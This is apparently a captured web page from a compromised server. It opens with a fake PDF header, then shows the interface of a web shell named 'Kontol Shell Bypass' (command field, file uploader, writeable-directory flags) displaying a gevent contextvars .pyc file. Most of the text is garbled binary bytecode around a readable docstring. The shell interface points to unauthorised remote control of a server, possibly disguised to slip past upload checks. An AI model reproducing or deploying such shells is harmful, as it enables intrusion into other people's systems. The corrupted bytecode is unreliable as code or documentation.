%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/gevent/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/gevent/__pycache__/contextvars.cpython-39.pyc
a

�_gn&�@s�dZddlmZddlmZddlmZgd�ZzddlmZWney^ddl	mZYn0ddl
mZddlm
Z
eZeZGd	d
�d
e
�Zdd�ZGd
d�de�ZGdd�de�ZGdd�de�ZGdd�de�Zdd�Ze�ZdS)a�
Cooperative ``contextvars`` module.

This module was added to Python 3.7. The gevent version is available
on all supported versions of Python. However, see an important note
about gevent 20.9.

Context variables are like greenlet-local variables, just more
inconvenient to use. They were designed to work around limitations in
:mod:`asyncio` and are rarely needed by greenlet-based code.

The primary difference is that snapshots of the state of all context
variables in a given greenlet can be taken, and later restored for
execution; modifications to context variables are "scoped" to the
duration that a particular context is active. (This state-restoration
support is rarely useful for greenlets because instead of always
running "tasks" sequentially within a single thread like `asyncio`
does, greenlet-based code usually spawns new greenlets to handle each
task.)

The gevent implementation is based on the Python reference implementation
from :pep:`567` and doesn't have much optimization. In particular, setting
context values isn't constant time.

.. versionadded:: 1.5a3
.. versionchanged:: 20.9.0
   On Python 3.7 and above, this module is no longer monkey-patched
   in place of the standard library version.
   gevent depends on greenlet 0.4.17 which includes support for context variables.
   This means that any number of greenlets can be running any number of asyncio tasks
   each with their own context variables. This module is only greenlet aware, not
   asyncio task aware, so its use is not recommended on Python 3.7 and above.

   On previous versions of Python, this module continues to be a solution for
   backporting code. It is also available if you wish to use the contextvar API
   in a strictly greenlet-local manner.
�)�absolute_import)�division)�print_function)�
ContextVar�Context�copy_context�Token)�Mapping)�_NONE)�localc@seZdZdd�ZdS)�
_ContextStatecCst�|_dS�N)r�context��self�r�?/vddos/python/lib/python3.9/site-packages/gevent/contextvars.py�__init__Fsz_ContextState.__init__N)�__name__�
__module__�__qualname__rrrrrrDsrcCstd��dS)Nznot an acceptable base type)�	TypeError)�clsrrr�_not_base_typeJsrc@sLeZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�ZdS)�_ContextDataz�
    A copy-on-write immutable mapping from ContextVar
    keys to arbitrary values. Setting values requires a
    copy, making it O(n), not O(1).
    ��_mappingcCs
i|_dSr
rrrrrrbsz_ContextData.__init__cCs
|j|Sr
r�r�keyrrr�__getitem__esz_ContextData.__getitem__cCs
||jvSr
rrrrr�__contains__hsz_ContextData.__contains__cCs
t|j�Sr
)�lenrrrrr�__len__ksz_ContextData.__len__cCs
t|j�Sr
)�iterrrrrr�__iter__nsz_ContextData.__iter__cCs t�}|j��|_||j|<|Sr
�rr�copy)rr�valuer&rrr�setqs
z_ContextData.setcCst�}|j��|_|j|=|Sr
r%)rrr&rrr�deletewsz_ContextData.deleteN)rrr�__doc__�	__slots__rrr r"r$r(r)rrrrrQsrc@sdeZdZdZdZefdd�Zee�Z	edd��Z
edd��Zefd	d
�Z
dd�Zd
d�Zdd�ZdS)rz<
    Implementation of :class:`contextvars.ContextVar`.
    ��_name�_defaultcCs||_||_dSr
r,)r�name�defaultrrrr�szContextVar.__init__cCs|Sr
r)r�_rrr�__class_getitem__�szContextVar.__class_getitem__cCs|jSr
)r-rrrrr/�szContextVar.namecCsHtj}z
||WSty"Yn0|tur0|S|jtur@|jSt�dSr
)�_context_stater�KeyErrorr
r.�LookupError)rr0rrrr�get�s

zContextVar.getcCstj}|�||�Sr
)r3r�
_set_value)rr'rrrrr(�szContextVar.setcCs|�|�dSr
)�_reset)r�tokenrrr�reset�szContextVar.resetcCs&dt|�jt|�j|j|jt|�fS)Nz"<%s.%s name=%r default=%r at 0x%x>)�typerrr-r.�idrrrr�__repr__�s�zContextVar.__repr__N)rrrr*r+r
r�classmethodr�__init_subclass__r2�propertyr/r6r(r:r=rrrrr~s

rc@sPeZdZdZeZdZdd�Zee	�Z
edd��Zedd��Z
d	d
�Zdd�Zd
S)rz>
    Opaque implementation of :class:`contextvars.Token`.
    ��_context�_var�
_old_value�_usedcCs||_||_||_d|_dS)NFrA)rr�var�	old_valuerrrr�szToken.__init__cCs|jS)zW
        A read-only attribute pointing to the variable that created the token
        )rCrrrrrF�sz	Token.varcCs|jS)z�
        A read-only attribute set to the value the variable had before
        the ``set()`` call, or to :attr:`MISSING` if the variable wasn't set
        before.
        )rDrrrrrG�szToken.old_valuecCsh|jrtd��|j|ur td��|jtjur4td��d|_|j|jurT|j�	|�n|j�
||j�dS)Nz Taken has already been used oncez+Token was created by a different ContextVarz(Token was created in a different ContextT)rE�RuntimeErrorrC�
ValueErrorrBr3rrD�MISSING�_delete�_reset_value�rrFrrrr8�s
zToken._resetcCs.dt|�jt|�j|jrdnd|jt|�fS)Nz<%s.%s%s var=%r at 0x%x>z used�)r;rrrErCr<rrrrr=�s�zToken.__repr__N)rrrr*r
rJr+rr>rr?r@rFrGr8r=rrrrr�s

rc@sxeZdZdZdZdd�Zee�Zdd�Z	dd�Z
d	d
�Zdd�Zd
d�Z
edd��Zdd�Zdd�Zdd�Zdd�ZdS)rz8
    Implementation of :class:`contextvars.Context`
    )�_data�
_prev_contextcCst�|_d|_dS)z+
        Creates an empty context.
        N)rrOrPrrrrrszContext.__init__cOsZ|jdurtd|f��tj|_z$|t_||i|��W|jt_d|_S|jt_d|_0dS)Nz+Cannot enter context; %s is already entered)rPrHr3r)r�function�args�kwargsrrr�run
s
���zContext.runcCst�}|j|_|S)z(
        Return a shallow copy.
        )rrO)r�resultrrrr&szContext.copycCsDz|j|}Wnty&tj}Yn0|j�||�|_t|||�Sr
)rOr4rrJr()rrFr'rGrrrr7'szContext._set_valuecCs|j�|�|_dSr
)rOr)rMrrrrK0szContext._deletecCs|j�||�|_dSr
)rOr()rrFrGrrrrL3szContext._reset_valuecCst|�turtd��dS)NzContextVar key was expected)r;rr)rrrrZ__check_keyAszContext.__check_keycCs|�|�|j|Sr
��_Context__check_keyrOrrrrrFs
zContext.__getitem__cCs|�|�||jvSr
rVrrrrr Js
zContext.__contains__cCs
t|j�Sr
)r!rOrrrrr"NszContext.__len__cCs
t|j�Sr
)r#rOrrrrr$QszContext.__iter__N)rrrr*r+rr>rr?rTr&r7rKrL�staticmethodrWrr r"r$rrrrr�s	
rcCs
tj��S)z7
    Return a shallow copy of the current context.
    )r3rr&rrrrrUsrN)r*�
__future__rrr�__all__�collections.abcr	�ImportError�collectionsZgevent._utilr
Zgevent.localrZ__stdlib_expected__Z__implements__rr�objectrrrrrr3rrrr�<module>s(%-<@[

Kontol Shell Bypass